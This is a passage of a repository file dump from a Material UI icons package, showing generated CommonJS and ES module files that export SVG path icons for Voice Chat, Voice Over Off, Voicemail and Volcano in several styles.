    "path": "packages/mui-icons-material/lib/VoiceChatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM7 7h7v2.4L17 7v6l-3-2.4V13H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-6-5.4 3 2.4V7l-3 2.4V7H7v6h7z\"\n}, \"1\")], 'VoiceChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM7 7h7v2.4L17 7v6l-3-2.4V13H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-6-5.4 3 2.4V7l-3 2.4V7H7v6h7z\"\n}, \"1\")], 'VoiceChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.99 9.18c0-.06.01-.12.01-.18 0-2.21-1.79-4-4-4-.06 0-.12.01-.18.01zm-6.1-3.56L4.27 3 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62L19.73 21 21 19.73l-8.62-8.62zM9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m7.76-9.64-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}), 'VoiceOverOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.99 9.18c0-.06.01-.12.01-.18 0-2.21-1.79-4-4-4-.06 0-.12.01-.18.01zm-6.1-3.56L4.27 3 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62L19.73 21 21 19.73l-8.62-8.62zM9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m7.76-9.64-1.68 1.69c.84 1.18.84 2.71 0 3.89l1.68 1.69c2.02-2.02 2.02-5.07 0-7.27M20.07 2l-1.63 1.63c2.77 3.02 2.77 7.56 0 10.74L20.07 16c3.9-3.89 3.91-9.95 0-14\"\n}), 'VoiceOverOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41zM3 19c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-8c-1.1 0-2-.9-2-2 0-.22.04-.42.11-.62l2.51 2.51c-.2.07-.4.11-.62.11\"\n}), 'VoiceOverOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41zM3 19c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-8c-1.1 0-2-.9-2-2 0-.22.04-.42.11-.62l2.51 2.51c-.2.07-.4.11-.62.11\"\n}), 'VoiceOverOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.72 6.41c-.35.35-.44.88-.25 1.35.3.75.32 1.58.05 2.34-.16.46-.06.98.29 1.32.6.6 1.66.47 2.02-.31.64-1.39.6-2.99-.12-4.41-.4-.75-1.41-.88-1.99-.29m3.46-3.52c-.4.4-.46 1.02-.13 1.48 1.93 2.68 1.95 6.25.09 9.07-.31.46-.23 1.08.16 1.47.51.51 1.38.46 1.81-.13 2.57-3.51 2.52-8.2-.17-11.77-.43-.56-1.26-.62-1.76-.12M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M3.71 3.56c-.39.39-.39 1.02 0 1.41l1.91 1.91c-.56.89-.79 2.01-.47 3.2.36 1.33 1.44 2.4 2.77 2.77 1.19.33 2.31.09 3.2-.47l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-.37-.11-.7-.29-1.02l2.31 2.31c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 3.56a.996.996 0 0 0-1.41 0\"\n}), 'VoiceOverOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.72 6.41c-.35.35-.44.88-.25 1.35.3.75.32 1.58.05 2.34-.16.46-.06.98.29 1.32.6.6 1.66.47 2.02-.31.64-1.39.6-2.99-.12-4.41-.4-.75-1.41-.88-1.99-.29m3.46-3.52c-.4.4-.46 1.02-.13 1.48 1.93 2.68 1.95 6.25.09 9.07-.31.46-.23 1.08.16 1.47.51.51 1.38.46 1.81-.13 2.57-3.51 2.52-8.2-.17-11.77-.43-.56-1.26-.62-1.76-.12M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M3.71 3.56c-.39.39-.39 1.02 0 1.41l1.91 1.91c-.56.89-.79 2.01-.47 3.2.36 1.33 1.44 2.4 2.77 2.77 1.19.33 2.31.09 3.2-.47l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-.37-.11-.7-.29-1.02l2.31 2.31c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 3.56a.996.996 0 0 0-1.41 0\"\n}), 'VoiceOverOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41z\"\n}), 'VoiceOverOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41z\"\n}), 'VoiceOverOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2M7 9c0 1.1.9 2 2 2 .22 0 .42-.04.62-.11L7.11 8.38c-.07.2-.11.4-.11.62\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41zM3 19c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-8c-1.1 0-2-.9-2-2 0-.22.04-.42.11-.62l2.51 2.51c-.2.07-.4.11-.62.11\"\n}, \"1\")], 'VoiceOverOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceOverOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2M7 9c0 1.1.9 2 2 2 .22 0 .42-.04.62-.11L7.11 8.38c-.07.2-.11.4-.11.62\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 5.36-1.68 1.69c.8 1.13.83 2.58.09 3.74l1.7 1.7c1.9-2.02 1.87-4.98-.11-7.13M20.07 2l-1.63 1.63c2.72 2.97 2.76 7.39.14 10.56l1.64 1.64c3.74-3.89 3.71-9.84-.15-13.83M9.43 5.04l3.53 3.53c-.2-1.86-1.67-3.33-3.53-3.53M4.41 2.86 3 4.27l2.62 2.62C5.23 7.5 5 8.22 5 9c0 2.21 1.79 4 4 4 .78 0 1.5-.23 2.11-.62l4.4 4.4C13.74 15.6 10.78 15 9 15c-2.67 0-8 1.34-8 4v2h16v-2c0-.37-.11-.7-.29-1.02L19.73 21l1.41-1.41zM3 19c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm6-8c-1.1 0-2-.9-2-2 0-.22.04-.42.11-.62l2.51 2.51c-.2.07-.4.11-.62.11\"\n}, \"1\")], 'VoiceOverOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Voicemail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'Voicemail');"
  },
  {
    "path": "packages/mui-icons-material/lib/Voicemail.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'Voicemail');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoicemailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 6C15.46 6 13 8.46 13 11.5c0 1.33.47 2.55 1.26 3.5H9.74c.79-.95 1.26-2.17 1.26-3.5C11 8.46 8.54 6 5.5 6S0 8.46 0 11.5 2.46 17 5.5 17h13c3.04 0 5.5-2.46 5.5-5.5S21.54 6 18.5 6m-13 9C3.57 15 2 13.43 2 11.5S3.57 8 5.5 8 9 9.57 9 11.5 7.43 15 5.5 15m13 0c-1.93 0-3.5-1.57-3.5-3.5S16.57 8 18.5 8 22 9.57 22 11.5 20.43 15 18.5 15\"\n}), 'VoicemailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Volcano.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zm-5-7h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'Volcano');"
  },
  {
    "path": "packages/mui-icons-material/lib/Volcano.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zm-5-7h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'Volcano');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zM7.3 15h3.05l.5-1.26 1.5-3.74h4.14l2.86 10H5.08zM13 1h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'VolcanoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-7l-2 5H6l-4 9h20zM7.3 15h3.05l.5-1.26 1.5-3.74h4.14l2.86 10H5.08zM13 1h2v4h-2zm3.1214 4.4682 2.8284-2.8284L20.364 4.054l-2.8284 2.8284zM7.6398 4.0503 9.054 2.636l2.8284 2.8284-1.4142 1.4142z\"\n}), 'VolcanoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolcanoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 8h-4.14c-.82 0-1.55.5-1.86 1.26L9 13H7.3c-.79 0-1.51.47-1.83 1.19l-2.22 5C2.66 20.51 3.63 22 5.08 22h14.27c1.33 0 2.29-1.27 1.92-2.55l-2.86-10C18.17 8.59 17.38 8 16.49 8M14 1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1m5.66 2.34a.996.996 0 0 0-1.41 0l-1.41 1.41c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.41-1.41c.39-.38.39-1.02 0-1.41m-8.49 1.42L9.76 3.34a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.41 1.41c.39.39 1.02.39 1.41 0 .39-.38.39-1.01 0-1.4\"\n}), 'VolcanoRounded');"
  },
  {
